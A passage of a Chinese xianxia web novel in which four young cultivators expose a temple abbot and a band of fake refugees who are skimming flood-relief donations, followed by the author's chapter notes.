记得是记得……但是关云铮自打小学开始学作文起,就没点亮过外貌描写这个技能,顿时十分头疼地坦言道:“记得,但是形容不出来。” 谭一筠从腰后把收起的子不语抽出:“它能描绘。” 虽说子不语一直有这样的效用,但身居此处,记忆总是需要一些“叩门砖”才能将虚掩的门扉打开,他直到此时才想起还能这样用这个法器,真是耽误了好些时间。 只见子不语被抽出后便自动打开了,随即扇面上流光一闪,不甚清晰的墨迹浮现出来。 纵然扇子的构造使得它呈现信息的这一面有许多褶皱,影响观瞻,但在座几人还是清楚地从中辨认出了那人的模样。 只见那扇面上的墨迹,正是在灾民所遇见的那位“假灾民”。 **** 暮色四合,陆识微将四人安置在一处空院落里,约定了明早再聚。 关云铮吃多了,短时间内睡不着,从屋子里出来才发现另外三人也都在院中坐着,叶泯见她来还同她煞有介事地招了招手。 “先前这样类似的问题分明还无法卜算,方才怎么又算出来了?”谭一筠正困惑着向楚悯发问。 关云铮也是为了此事而来,干脆搬了个小板凳坐在楚悯身边:“之前我们的推测是,问不出的问题都与此处的准则有关,触及了准则,才问不出答案。”她顿了顿,难以置信地接着说,“难道此处准则发生了变化?这些问题又算得出了?” 楚悯心里不大有底,因此摇了摇头:“我依旧觉得我们之前的推测是对的,此处有自己的运行准则,涉及准则的内容不可被直接问出。只是……如今这个问题已经不再涉及准则了。” “如果不是准则变化,那就是局势变化了?”叶泯问道。 这比准则变化了还可怕。 准则看上去高大上,实际也很假大空,看似扑朔迷离,但对他们目前产生的影响不过是卜算受挫,实际利益并未受到损害;江县的局势却如同三方角力,一方的力量变大或是变小,都会影响另外两方的使力,万一力气使得不当,那股艰难维系的绳索便会被崩断,到头来影响的还是县民。 说一千道一万,具体人的利益永远比悬浮的观念制度更为重要。 更何况,一直以来准则似乎只针对他们四人,与别人大概毫不相干,更不更改的无非是心头困惑被解开的时间,有或早或晚的区别,这哪里比得上江县灾民的安危? “县令的财力、与客栈的勾连被排除在准则之外,先前卜算的灾民所中灾民状况如何却在准则之内,何解?”谭一筠自言自语似的说道。 关云铮隐约觉得自己被“准则”这个词框住了思路,思索片刻后换了个词语形容:“有没有可能,其实这不是此处的准则,而是一道题呢?” 楚悯心念微动,看向她:“一道题?解决江县目前的危机是最终的谜题,而先前这些无法卜算清楚的,就是这个谜题的分支?” 关云铮原本还打算对自己提出的猜测解释一番,闻言话也顾不上说了,先拉着楚悯的手和自己击了个掌:“对,我就是这样想的。” “那究竟是谁在出题?”叶泯疑惑,“竟有人能设计出天问无法卜算的难题吗?” 楚悯被叶泯一句话说得几乎有些汗颜,默了好一会儿才幽幽说道:“我虽是个天问,但我也才筑基。” 叶泯像是才想起此事似的一愣,随即恍然大悟般叹道:“对啊!” 余下三人顿时用看傻子的目光看向他。 叶泯自知理亏,起先还辩解:“楚姑娘是我见过最有天分的天问!” 关云铮无情揭穿:“你总共才见过几个天问。” 被揭穿的叶泯默然以对,片刻后干脆破罐子破摔,不给自己辩解了:“来到此处之后,我一直觉得自己的记忆被人动了手脚,有些事我分明一直记得,可偏要别人提起或是看见什么触动了,才能想起来,真邪门。” 关云铮下意识抬头往上看了眼。 天井院的院子上方就是夜空,想必明日依旧有雨,故而天上见不到一颗星,月光也全无踪迹,看起来黑沉沉的。 三人看她望天,也跟着抬头望了眼。 谭一筠抻着脖子问:“云铮在看什么?” 关云铮率先收回视线:“如果是有心之人的布局,让我们解决这个难题,那ta的目的又是什么呢?” “唔,想来总不会是阴谋算计?毕竟我们做的不都是为民生计的好事吗?”叶泯答道。 楚悯等到谭一筠和叶泯都收回了视线,才重新垂下眼:“但愿吧。” **** 陆识微办事的效率很快,第二天四人刚起来便见她和灾民一同推着车从院门前经过,关云铮刚梳洗完拿上摇羽就看见这么一幕,一时之间还以为自己看错了:“陆大人?您这是……?” 被出声喊住的陆识微又倒退回来:“起了?正好,带你们去吃云吞。” 关云铮眼睛一亮:“这也有云吞?”。她这说的什么话,哪还没有云吞了。 关云铮在心里默默吐槽完自己,和另外三人一起跟上陆识微的脚步。 “泥沙淤积严重的废墟暂时没动,把一些埋得浅的材料挖了出来,今日便动工。”陆识微走在前头说道。 谭一筠讶然:“您亲自……?” 陆识微回头看了他一眼,笑了一声:“在江县受灾之前,我就是个给县民们跑腿的,受灾之后,自然还是个跑腿的。” 谭一筠有些惭愧,正要说点什么来补救,又听陆识微说道:“城西郊外有个小道观,里头的道长愿意捐些粮食和银钱,我分||身乏术,有劳你们帮我走一趟?” 关云铮自然一口答应下来:“好,还有别的事吗?” 陆识微还真仔细想了想:“你们可学过御物术?” 四人一同点了点头。 陆识微满意地笑道:“那正好,等你们吃过饭,从道观回来,就来帮我们搬些重物,灾民们多是老弱妇孺,气力不足,还需你们帮忙。” 叶泯顿时有了紧迫感:“云吞摊在哪,我们赶快吃完去道观。” 陆识微抬手指了指方位,关云铮还想同她说点什么,已经被叶泯推着走远了。 江县的云吞摊和镜溪城的差不多,但摊位不知是否因为受灾情影响,做出来的云吞远算不上好吃,只能算作饱腹。 关云铮袋里一直没钱,师门塞进来的意外之财还都给陆识微了,四人吃完后是叶泯掏的腰包。 只是还没等他把钱拿出来,摊主便连连摆手拒绝,声称不能要他们的钱。 他们昨日来到城西不过半日工夫,多数时候也都没露面,只同陆识微待在一处,究竟是哪来这么多县民都认得他们的? 哦,忘了他们都穿着归墟校服了。 归墟校服虽在形制上不同于某娱修仙剧常见的大袖飘飘,一律给弟子们做的窄袖,但颜色上确实都是一水的白,只在袖口、领口、衣摆三处有不同的绣线,为不同的师门归属所设计。 师兄师姐们穿的校服便是苍生道专属,在这三处各滚了一道一指宽的墨蓝色绣线。 只不过关云铮如今算是集中教习的弟子,同其他人穿一样的校服,这三处没有特制的绣线,因此四人看起来都是白衣飘飘不染尘埃,在这样一个受灾后到处泥泞不堪的县城里,确实相当惹眼。 叶泯没同那摊主争辩,收回了自己原本要给出的银钱:“那便多谢店家了。” 四人一同往郊外的方向走,待走出那小摊视野后,叶泯忽然说道:“我把钱偷偷塞到碗下了。” 关云铮回头看他:“我还以为你真的不打算给了。” 谭一筠煞有其事地点点头,赞同关云铮的说法:“还以为你因为昨日云铮的说法,不打算同那店家客气了。” 关云铮顿时把目光投向他:“这又关我什么事?这两件事能一样吗?” “不一样不一样,你俩别吵。”叶泯顺手和稀泥,“实在是那摊子太小没处可藏东西,又不好一口气塞太多,我只付了这顿饭的价钱,没有多给。” 楚悯点了点头:“多给恐怕也很麻烦,店家应当会找上门来把所有的都还了。” “正是正是。”叶泯得意洋洋地赞同道,又看向谭一筠,“谭兄,到时才真是多此一举的客气,你听课听得不认真啊。” 实在是对两人的恭维敬谢不敏,关云铮一个头两个大地大步走开了。 **** 按照陆识微的说法,关云铮想当然地以为道观应当准备好了钱粮,他们过去拿一趟就行,不至于耽搁太久。结果到了之后才发现,局面似乎和陆识微说的……不太一样。 ——四人抵达时,道观正在进行一场法会。 道观的面积不大,法会现场熙熙攘攘,关云铮恍惚间几乎以为半个江县的人都在此处。 四人衣着惹眼,没过多久人群中便走出一位道士同他们打招呼:“是陆大人请四位来的吧?”他笑容不似作伪,“师父正在为灾民祈福,悼念亡魂,一时半会儿兴许抽不出空……” 看他面露难色,外|交能手谭一筠顺势说道:“不碍事,大师先忙,我们且等一等,也为灾民们祈福。” 道士看起来十分感谢他的理解,领着四人朝法会中心靠近了一些,随后自行没入人群,去忙他的事了。 四人在人群中站了一会儿,凑在一起低声嘀咕。 关云铮觉得自己疑心病太重:“怎么总觉得悲伤的氛围不是很重,反而吵吵嚷嚷的。” 楚悯也点了点头:“是有一些,兴许是人太多的缘故。” 灵犀作为灵兽对声音更敏感,这样多人的场合,产生的杂音和噪音扰得它在叶泯的手腕上不安地扭动,叶泯没法子,总不能在这时候把它放回灵笼里,只能任由它在自己手腕上缠来绕去还时不时咬个印子。 他被灵犀分去一点心神,过了一会儿才接上话茬说道:“人太多是容易鱼龙混杂,多加小心。” 还没等谭一筠就这话题发言,在人群正中慷慨陈词的道士不知怎么忽然停住了话头,一阵相对寂静后,忽然朝着四人所在方向高声道:“今日法会所筹善款,将尽数赠予陆司簿作为重建一事的支出!” 疑心病仿佛会传染,谭一筠听了这话的第一反应不是高兴,而是疑惑地看向另外三人,问道:“这话怎么感觉并非他本意?是冲着我们说的?” 关云铮皱起眉头:“怎么感觉他并非诚心要做法事……”表演痕迹这么重呢…… 她一边说一边分神去看周遭。 本只是随便扫过一眼,却忽然意识到方才看到了什么不对劲之处,连忙又把视线调转回去。 ——只见人群边缘,有几个普通县民模样的人正在“眉来眼去”。 关云铮四人来路不明,但心怀坦荡,是以哪怕站在人堆里,也只是压低了声音继续说话,周围的民众们也都在低声交谈……为何那几个人不张口,独独用眼神交流? 她总觉得不安,正想让楚悯也跟着看一看,发觉那法师在说完方才那句话后,便开始了善款的筹集,隔着这样一段距离也依旧不断有银钱碰撞的声音传入她的耳朵。 楚悯发现她一直皱着眉,低声问道:“怎么了?” 关云铮的目光在功德箱上多停留了一会儿,听楚悯说话才附到她耳边,说了自己方才所见与猜测,正要继续往下说,忽然意识到自己正在做的动作,进而想到一个可能:那些人分明是心中有鬼才不敢开口说话,“眉来眼去”是因为心怀不轨另有图谋! 她为自己方才一瞬间的迟钝感到懊恼,顾不上同疑惑的楚悯解释,飞快地转回头去,却见方才还在用眼神交流的几人已经在人群中消失了! “坏了。”关云铮低声道。 她调转视线的动作很明显,楚悯就算先前还对情况一头雾水,到现在也差不多明白过来了,压低声音问道:“有可疑之人?” 关云铮朝她短促地一点头,手已经向后搭在了腰间的剑鞘上,她向不明所以的谭一筠和叶泯投去视线,解释道:“人群中应当混进了几个并非灾民的人,不知是不是我们要找的那些‘假灾民’。” 她说完便拨开身边的人群往方才那几人消失的地方走,另外三人闻言自发跟在她身后。 四人一起行动目标太大,但好在他们都还是少年身量,在一群成人体型的人里不算格外扎眼。 自方才法师拿出功德箱开始,周围的人群就变得更为拥挤无序,手头宽裕的民众们听了法师的布道心潮澎湃,争着抢着要往里投入自己手上的银钱。 被挤得快身不由己的几人不约而同地往法师那边看了一眼。 道观为这次的法会搭建了一个简单的法坛,多数材料都是木头和布条,虽然体积相当可观,底座边长有一丈左右,整体高度有两人多,但看起来灰扑扑的,与江县当下的整体环境差不多的破败。 这一眼无端让叶泯皱起眉头:“我怎么好像看到……” 那几人的身影遍寻无果,关云铮不得不暂时将此事搁置,顺带接了叶泯的话:“看到什么?” “走水了!” 还没等叶泯答话,一声惊呼给了关云铮答案。 那破败不堪的法坛在短短几息之内冒出了浓烟,本就拥挤的人群顿时因为这突发意外爆发了新的动乱,一时之间奔走打水灭火的、被火势吓得四处乱窜的、高声叫嚷着走水的,不同的人脸上有着相同的慌乱,塞满了这一处小小的道观。 一时之间自顾与他顾难以两全,也就更没有人顾得上看一眼方才那个小小的功德箱。 法坛边的功德箱成了无人问津的角落,一双手从暗处伸出,以迅雷之势将那箱子拖到了自己面前。 只是关云铮拔剑的动作比那人更快,在一片慌乱之中把摇羽架在了那人颈项之上! “抓住你了。”—— 作者有话说:也是越来越厉害了,果然死线是第一生产力() 第107章 盗窃者一直躲在暗处, 估计是觉得当下的局势众人都忙着灭火或是四下奔逃,没人会注意这个角落,因此偷东西时完全把望风的事抛在脑后, 对周边的动静全无防备之心。 关云铮毫无前兆地逼近, 猝然出手,盗窃者受此一惊, 箱子仓皇脱手后翻倒在地, 铜钱碎银在箱里箱外噼里啪啦响了个没完。 他原本缩在法坛后的暗处,被剑架在脖颈上之后迫于威势缓缓起身,却一直垂着头,另一只手也始终背在身后。 关云铮冷脸看着他的动作:“你受谁指使?有何目的?” 她话音刚落,只见余光里寒光一闪,毫不犹豫地抬起左手一挡, 右手中的剑随即一挑,在面前之人的脖子上划出一道血痕。 “呛啷”一声, 那把被用来偷袭她的短刀与左腕的撷光相撞,被击飞出去落到一边, 跟随而至的楚悯弯腰捡起短刀:“原本当你只是个寻常盗贼, 竟还带着武器……” 面前这人的相貌陌生,穿衣风格也更贴近寻常县民模样,如果不是四人一直盯着功德箱这边的状况, 险些发现不了他的盗窃行径。 “你们又是何人!为何挡我财路!”窃贼吃痛, 想抬手捂住伤口,但又不能动弹,只好梗着脖子高声喊道。 关云铮飞快地皱了皱眉:“喊这么大声做什么?”她漫不经心地说道,“怎么,想给你的同伙通风报信?” 被她用剑震慑的人面色一变, 还没开口,关云铮便笑了声:“还真是通风报信。” 这短短一会儿,法坛的火势已经因为齐心协作灭火的县民衰弱下来,骚动的人群渐趋平静,他们在此处动静太大,分外惹眼,之前还能趁起火遮掩,当下很快便会引来围观。 谭一筠二话不说在法坛后布了个障眼法:“云铮,我们先寻个角落,再审这人。” 关云铮不疑有他,正思索该用什么捆缚眼前这窃贼,就见叶泯上前一步,将窃贼两条胳膊一起往后一拽,那人两侧肩膀发出响亮的“咔啦”声,随即灵犀自叶泯腕上游移而下,充当活绳索,缠绕在了窃贼腕上。 “灵犀能捆牢吗?”谭一筠看向叶泯。 叶泯拍了拍手上沾的浮灰:“能,灵犀可是蚺,最擅长的便是缠缚了,虽然当下比原型小上许多,但本领依旧是在的。” 何止还在,要是恢复十分之一的体型,再用上些许力气,恐怕都能将此人的骨头压断。毕竟寻常的蟒蛇就能把猎物缠绕致死,灵犀那体型…… 关云铮光是回忆这一瞬都有点想哆嗦,顾不上去想越来越多的记忆能够被回溯这件事,看向叶泯问道:“你方才把他胳膊卸了?” 叶泯朝她一笑,有些不好意思的模样:“学过一阵子正骨。” 好一个弃医从凶。 开玩笑的。 关云铮小时候特别喜欢一个女角色,那个角色有个中医母亲,因此从小跟人体骨架模型打交道,自学了正骨。弟弟被人霸凌她就把霸凌者的胳膊卸了,遇到反派嘚吧嘚说些不爱听的,她就把那人下巴卸了。[1] 小时候的关云铮私以为这角色的行为帅得一塌糊涂(虽然并不提倡)。她以为这么多年过去自己已经被学医消磨了这部分兴趣,没想到看到叶泯熟练的动作,想学的心还是蠢蠢欲动。 她甚至怀疑自己学医也有幼年时期受这个角色影响的原因,虽然哪怕学完本科时期所有的专业课,她也没能学会正骨……毕竟每次都会死于系解运动系统复习的人,是不可能学得会正骨的。 灵犀捆完人,谭一筠和叶泯押着人往寂静处的角落走,关云铮和楚悯并肩走在三人之后,临走前顺势收拾了一番功德箱。 楚悯站在一旁看关云铮用御物术把碎银和铜钱放回箱中,忽而想起些什么,从乾坤袋里摸出一张符纸,顺势塞入功德箱中。 “这是做什么用的?”关云铮抬头问道。 楚悯也是第一次用这符纸,特意回忆了一番来归墟前兄长所说的话,一字一句复述道:“此为示踪,另有一对应符,名寻踪,可凭借寻踪查看示踪所在方位。” 关云铮明白了:“你担心功德箱里的钱,到头来并非交由陆大人,而是流向别处?” 有障眼法遮掩,楚悯说话没有太多顾忌,坦言道:“确有此顾虑,不过示踪有限,不能给箱中所有银钱做上记号,且这大小十分惹眼,只能丢入箱中,不然大概很快便会暴露。” 关云铮收拾好了功德箱,原本打算整箱抱走算了,听完楚悯的话犹豫片刻,还是把箱子放回了原位:“也不知经此一遭,道观还会不会把这募捐而来的善款交由我们,带回给陆大人。” 毕竟法坛已经被烧得只剩个架子了,虽然不是什么值钱材料搭的,但对于当下的道观来说,兴许也是一笔不小的损失。 楚悯对这一点倒是十分乐观:“没准等我们审完那人回来,一切便水落石出,我们也能把善款带回去了。” 话虽如此,但楚悯和依旧皱着眉的关云铮一样,始终觉得此事似乎太过简单了,总像是还有什么遗漏,故而两人一路追上谭一筠和叶泯脚步时都心事重重,见了同伴才勉强收敛住情绪。 窃贼的口供很好套取,谭一筠和叶泯一个唱白脸一个唱红脸,在楚悯和关云铮还没来时便问完了,见了两人问道:“他应当差不多交代清楚了,接下来怎么办?怎么处置合适?” “带回去交由陆大人处置吧。”关云铮思索着说,“你们先回去,我和小悯留下来看看还有没有什么遗漏。” 叶泯答应下来,又问道:“遗漏?” 楚悯看了那窃贼一眼,没多说:“回去路上记得多用障眼法遮掩,此事尚且没有定论,还是不要声张为好。” 谭一筠和叶泯没再多问:“那我们就先走一步,你们多加小心。” **** “方才我见到了至少三个人行踪鬼祟,身处人群中却只用眼神交谈,偷功德箱的只是其中一个。”关云铮一面和楚悯并肩往回走,一面说道。 楚悯点点头表示明白:“但我觉得你似乎并不仅仅是因为另外两人尚未找到,才说要留下继续查探的。” 关云铮顺着她的话“嗯”了声,因为在将要蛐蛐之人的地盘,下意识放低声音道:“那布道的法师也不太对劲。” 当然,有人低调行善,就有人高调宣扬,如果单纯从一个人行善时是否高调,来判断此人是不是好人,其实是有失偏颇的。 毕竟善举只要落实到了需要的人身上,这份善意究竟是以什么样的形式落实的,也就没那么重要了。 论迹不论心,论心无圣人。[2] 因此她也不是因为那法师行善时大肆宣扬的做派,才起疑心的。 “我说不清楚,总觉得道观里的氛围与我设想的不太一样……虽然我也不曾去过别的道观。”关云铮为自己的恶意揣测感到几分心虚,故而小声道。 楚悯正想为这事再起一卦,刚摊开左手掌心,忽然听见一阵压抑着的争吵声。 她和关云铮对视一眼,两人放轻脚步朝声源处靠近,发觉争吵声来自不远处的一间厢房。距离方才的混乱过去没多久,道观中的人应该都还忙着处理法坛起火的事情,怎么有人在这处偏僻的厢房里? 楚悯若有所觉地拿出寻踪符,倾注灵气查看了一眼,朝关云铮点了点头。 ——那功德箱竟也在这间厢房里。 关云铮正打算光明正大地偷听,在原地杵了一会儿后意识到,方才厢房中的人漏出的那点声响已经是音量的最大值了,这时候哪怕靠近都几乎听不清楚。 但现下又不好靠得太近,万一跟影视剧里一样,关键时刻弄出点什么动静打草惊蛇,偷听可就败露了。 失策了,早知道要干偷听这事,就应该从叶泯那,把昨日偷听那两位店主说话的法器讨来的。 她心念一转,把原本就在鞘外的摇羽拿起来,低声道:“你动静小也不惹眼,派你贴那门上去偷听。” 摇羽估计很想骂她,但顾及着此刻形势,死了似的一声不吭。 楚悯疑惑地看过来,就见关云铮相当熟练地把摇羽往不远处一抛。 剑灵感受到自己两日之内再度被使用者抛出,敢怒不敢言地在空中悬停,随即朝着前方缓慢行进,直到轻触到实物,知道这大概就是关云铮所说的门,贴着门悬住了。 “你说要是日后我真能人剑合一,能听见摇羽骂我的心声吗?”关云铮扭过头跟楚悯说悄悄话。 楚悯失笑:“若是真到了人剑合一的时候,摇羽兴许也不大会骂你了吧。” 这还真不好说。 毕竟她扪心自问,自己对修仙一事始终算不上热衷,师门待她太好,哪怕修不出什么名堂她也不愁日子如何过,同摇羽那不得不努力修炼,以期得到仙盟人青眼的第一任主人截然不同。 是以哪怕未来真有那么一天,她达到了人剑合一的境界,摇羽怕是只会骂她骂得更勤快,反正不用顾忌被别人听见,也就不用担心忽然出声吓着别人,或是没能在外人面前给她留面子了。 摇羽偷听了一会儿,又顺着来时的方向飞回来,被关云铮一把接住,随即那久未浮现出字迹的剑身出现了几个字:“法师与人谋算钱财去处。” 它言简意赅,两人即刻明白过来,意识到厢房中的谈话兴许快要结束,连忙绕过此处又回到了方才那个僻静的角落。 确认一番周围暂时无人经过后,关云铮问道:“其他人的声音不曾听过?” “没听过,兴许是你说的那名窃贼的同伙。”摇羽如实答道,“此事听着有些复杂,我大概估摸了一番,似乎是道观中尚有一批质量上等的粮食,但打算捐给陆司簿的都是些陈粮,同时他们也打算私自扣下一部分银钱,不会全盘交出善款,劝你早做准备。” “那他留着好粮食要做什么?听你说的,道观里这么些人似乎也吃不完这许多粮食?”关云铮一头雾水,虽说他们没怎么逛过这道观,但从外面看便能看出这地方有多狭小,门口打个喷嚏,恐怕全道观都能听见。 况且直到骚乱爆发前的刚才,他们也只见过两个道观相关人员,他们要这么多粮食做什么? 难道…… 关云铮和楚悯一同反应过来:“这道观中私藏可疑之人?” 摇羽继续如实答道:“具体不知,依我看,那几人算得上是各自心怀鬼胎了。”它话说一半,忽然十分不耐烦地说,“话太多说不明白,索性简短些说吧。” 关云铮没意见,好脾气地“嗯”了一声。 “道观与那几个底细不明的人合作,后者搜刮钱财,用途不知,道观则帮着隐匿行踪。如今法师想将善款交出,那些人不愿意,想昧下一部分。”摇羽说道。 “隐匿行踪?”楚悯皱起眉头,“难道真是乱党?” 同样居心叵测的假灾民尚且招摇过市,她还以为这帮人全都是无法无天的货色,竟还有人知晓应该隐匿行踪? 道观毕竟不是说话的好地方,关云铮没再继续推测,随手摸出块帕子把摇羽方才蹭上的那点血擦了:“反正陆大人是让我们来拿钱的,拿不到钱我是不会回去的,管他心怀鬼胎还是仙胎,我这就去跟那道士讨钱。” 摇羽沉默片刻:“你比那帮人还像强盗。” 关云铮很没所谓地一耸肩,把摇羽收回剑鞘中,和楚悯一同往方才法坛处走了。 说实话,要不是这世界的邪修手段太下作,她也不是不能当个邪修,毕竟名门正派也是修炼,歪门邪道也是修炼,名门正派拯救苍生未必就不死人,也没比走火入魔爆体而亡好到哪里去。 再者说,邪修也有不害人的,譬如她所知的殷含绮,自称正道的也未必就都是好人,譬如担着颇多骂名的仙盟人。 哪怕抛开这些都不谈,心怀苍生者能保证自己的一颗真心不被拿去喂狗吗?苍生这么多,济世救人时总会救下那么几个算不得人的东西吧? 她是共情能力强没错,觉得各人有各人的苦难,但她也不能接受真心换不到真心,真心若是给了狼心狗肺的东西,还不如两剑把那人捅死算了。 关云铮不大高兴地一垂脑袋,苦大仇深地叹了口气。 楚悯向来对他人的情绪感知很敏锐,听见这动静看向她:“对这道观失望了?” “也不算吧,毕竟也没人规定了道观里就都是好人,什么行业不都有烂人吗。”关云铮宽慰自己似的说了这么一句,随即又叹了口气,坦言道,“兴许是有那么些失望吧……陆大人让我们来道观寻求帮助,说明她觉得此人可信,结果他是这样的人。” 光风霁月的人皮下,包藏着里通外贼的祸心。 她隐约觉得此事的严重性越发超出了自己的预期,陆识微原本被她看作棋局之中博弈的三方之一,如今看来,竟也不过是另外两方算计的棋子,仿佛全然不知,还有更多的人祸会降临在这个刚经受过天灾的苦命之地。 她的真心算什么?她的付出真能得到回报吗? 思及此,关云铮忽然笑了声,自言自语道:“搞得好像我就很明白似的。” 楚悯没听清这句,下意识“嗯?”了一声,关云铮却不再说了。 **** 不知那法师同疑似乱党之人达成了怎样的交易,总之她们回到法坛下没多久,法师便抱着功德箱回来了,收拾出里头的银钱装入一个麻布袋子交给她们,语重心长道:“管理不严,竟闹出这许多乱子,让两位仙师空等许久,实在惭愧。这是今日筹集所有善款,两位请务必将其交予陆大人。” 关云铮没多说,接过那袋子道谢:“劳烦道长,那我们便先行告辞了。” 两人道过谢后转身离开道观,楚悯闲不住,又开始卜算起来,口中说道:“我想问一问与那道长争吵之人是谁,你说能不能问出来?” 关云铮把钱袋子塞进乾坤袋里,沉甸甸一袋钱进了乾坤袋就像泥牛入海,一点重量都没了,方才县民的热心,有心之人的盘算,道长与乱党的争吵仿佛都成了轻飘飘的一捧灰,随着她把钱袋放入乾坤袋的动作,一瞬间消散了。 她顺手理了理衣襟:“我觉得大概不能,你且算算?” 楚悯应了声,一边跟着关云铮的脚步往城西走,一边在掌心勾勾画画地卜算着:“虽然不清楚束缚卜算的究竟是此地的准则,还是亟待我们解决的问题,但云崽你觉不觉得,此地有些像是结界?” 这倒确实,毕竟他们最初的推测就是此地也有准则,修仙两个月,准则这词却不常听见,提起的时候就是讲到结界的那堂术法课,依稀记得掌门那时候还讲了一个别的什么来着…… 那种记忆丝滑划过大脑皮层的感觉又来了,关云铮烦不胜烦地一皱眉,正要同楚悯说话,却忽然捕捉到什么不同寻常的动静。 瞬息之间,人影未见,袭击已至,关云铮在蒲飞鸢手下挨打半月,已经习惯了这种突如其来的攻击,此刻条件反射快过大脑分析,摇羽“噌”地被她拔出鞘,身体向左侧避让的同时右手已横向挥了出去,挡住了这一击。 走在她左侧的楚悯被吓了一跳,还没开口便听偷袭之人的声音在二人后方响起:“反应还挺快。” 她手中的摇羽适时出声提醒:“这是其中一个同那法师争吵之人的声音。” 楚悯皱了皱眉:“这么快就追上来了。”这里离道观可没有多远,这些人如此猖狂,当真是…… 关云铮转身向后,把目前手无寸铁的楚悯往身后挡了挡,随口答道:“估计单纯是不想让我们把善款带走,不是偷听之事败露了。” 如果是后者,那他的动作委实有些太慢了,乱党要是指望这批人,折腾到死恐怕都吃不上一口热乎的。 偷袭之人离得不远,把摇羽和她的话都听了个全,脸色顿时变得很不好看:“哪来的小丫头片子,敢掺和我们的事。” 有这工夫在这放狠话,还不如趁方才她和楚悯说话的时候再度出手,没准还能偷点伤害,难怪总说反派死于话多。 关云铮揣准了此人尿性,知道他只是个狠话多过狠招的主,有恃无恐,把这个转身转得慢极了,在心里吐槽完才与偷袭之人对上视线,确认了此人就是道观法会时与同伙眼神交流的人之一,顿时也没了好脸,挂下脸说道:“没看出您是哪位招惹不得的,不如您先毛遂自荐?” 她怀疑自己在道观闻了一鼻子香灰,给自己闻变异了,说话都带枪药,生怕不能激怒那人似的。也可能是当初下山去盈川就杀过人,对此事没什么胆怯的,说话的架势活像是挑事。 对面那人显然听不得这话,立刻就冲了上来,只是还没等他近前,只见他双膝诡异地一软,当场给关云铮和楚悯跪下了。 关云铮猝不及防,好悬没绷住笑,回过头才发现谭一筠和叶泯不知何时回来了,正端着两脸怒气急冲冲朝这边走过来。 楚悯松了口气,把原本要从乾坤袋中取出月下逢的手收了回来,看向二人:“你们怎么回来了?”虽说她和云崽一起也肯定能将事情解决,但月下逢实在是太重了,若是当真拿出来她就得席地而坐,那就不是很愉快了。 叶泯这次带了麻绳回来,先冲上前如法炮制,把跪在地上那人的胳膊卸了,手腕捆了,这才答道:“看你们还没回来就往这边来了,正好撞上这东西偷袭……你再动一个试试?胳膊都卸了还能有力气挣扎,信不信我把你脖子拧断?” 解决了问题,关云铮的语气也轻松起来,顺嘴同叶泯打岔道:“你有那个手劲?” 叶泯把那人强行拽起来:“要不是还要从这人口中套取情报,我现在就拧一个给你看看。” 楚悯和关云铮一同想象了一下那个画面,异口同声道:“倒也不必。” 深藏功与名的谭一筠把周边都观察了一遍,确认没有同伙埋伏后才走回两人身侧:“他竟当真孤身前来,是觉得你们二人他一人便能对付吗?” 关云铮不甚在意地点点头:“兴许吧,他还当我是寻常小丫头呢。”再寻常也在当世排行前几的剑修手底下练了半月有余了,对付这么个杂牌军还是够看的吧? 不过敌人轻敌完全是便宜她了,都不用扮猪就能吃老虎,这样大意的敌人上哪儿找去,她还是偷着乐吧。 楚悯看向谭一筠:“卸力的阵法?”那偷袭者的脚下方才闪过了一阵光,只不过彼时三人全都精神紧绷,没人注意到,她这会儿放松下来才后知后觉。 谭一筠点点头:“忽然想起自己还会这个。” 那真是十分忽然了。 偷袭者被叶泯生拉硬拽过来,两腿虽还软着,嘴却还是很硬:“你们究竟是什么人!不自量力地掺和进来,就不怕遭到报复吗?” 关云铮颇觉好笑,总觉得此事如果真是个“难题”的话,那设计题目的人一定是放了很多的水,反派都脸谱化得像是什么标准答案。 她懒得和人多费口舌,同楚悯说道:“如果不是不会鬼灯楼与魂魄打交道那套手艺,对此人用上引魂术倒是个不错的选择。” 楚悯知道她这话纯粹是玩笑话:“他应当只是个小喽啰,也不至于用上引魂术。” 谭一筠听得失笑:“还没审就知道他是小喽啰了?” 四人一边说话一边押着人往城西走,偷袭者一路骂骂咧咧,关云铮干脆把他的声音当背景音乐,同另外三人分析道:“莽撞,遇事不知道喊上同伙,上赶着送人头;贪婪,奔着钱财来的,和道士没谈拢也不打算跟同伙分赃,想一人独吞;无知,我们来到江县一日有余,云吞摊的摊主都知道我们是谁,他不知道;无畏,以为身后的人会保他这个无名小卒,以为我们两个姑娘打不过他一个。这样的人如果是团伙中的小头目,那这团伙真够完蛋的。” 叶泯顿时被她条分缕析的话说服了,在偷袭者愤慨的话语里连连点头:“说得对,那他应该真是个小喽啰。” “先前偷窃功德箱的那个小喽啰呢?交给陆大人了?”关云铮问道。 “我们正要同你说此事。灾民中有人认出了那人,说是起火后在废墟周围见过那人,行踪鬼祟,恐怕就是纵火之人,陆大人正着人审讯。”谭一筠说道。 叶泯也附和道:“还以为要费点功夫才能抓出纵火的真凶,没想到抓个贼就顺手解决了。”他说到这又看了眼被他捆着的偷袭者,“这事是不是也太简单了?” 关云铮瞪了他一眼:“少说点这种话,半场开香槟是大忌。” 叶泯不明所以:“半场开什么?” 关云铮摆了摆手,解释道:“一种酒,意思是事情没完成,切忌过早庆祝,容易出幺蛾子。” 谭一筠深以为然地点点头,叶泯想了想觉得很是有理:“那当我没说,我可没开这酒啊,不许出岔子。” 楚悯听得失笑:“我们可是答应了陆大人要帮忙搬东西的,快走快走。”—— 作者有话说:[1]云崽喜欢的角色是电视剧《家·N次方》里的薛之荔 [2]论迹不论心,论心无圣人——清·王永彬《围炉夜话》 这章是截至6.25上午九点半的更新,在此期间新增了173瓶营养液和71条评论,总计7010字 写完才发现漏了一个雷,算到下次加更里吧 多和这个菇聊天,多多浇灌多多投雷,这个菇就会多多更新啦[可怜] 第108章 虽然满口答应了要帮着搬东西, 但关云铮学习御物术的时候只操控过比较轻的物件,譬如羽毛和剑,以及并无常形的水, 面对承重柱这样的重物, 心里还是有些犯怵,不知道自己那点稀松平常的术法能不能给她个面子。 但不知是她在心里的祈祷起了作用, 还是她始终看低了自己的水平, 成人环抱粗的柱子竟被她从废墟中轻而易举地抬了起来! 她刚要飘,心神一分,就看见那承重柱相当有恐吓性地晃了晃,顿时不敢得意,收敛起自己的嘴脸,凝聚心神把承重柱轻巧地放下了。 灾民们早就知道他们几个仙门子弟负责搬运这些重物, 还没正式开始就在周边围了一圈,关云铮刚放下柱子, 松了一口气,周围的灾民们方才全都大气不敢出, 现下终于松了心弦, 顿时欢乐地大呼小叫起来。 关云铮聚精会神地操纵了这么一会儿,压根没注意到周围有这许多人,忽然听见动静被吓了一跳, 差点蹦起来。 这热闹程度, 她还以为自己是围栏里的国宝呢。 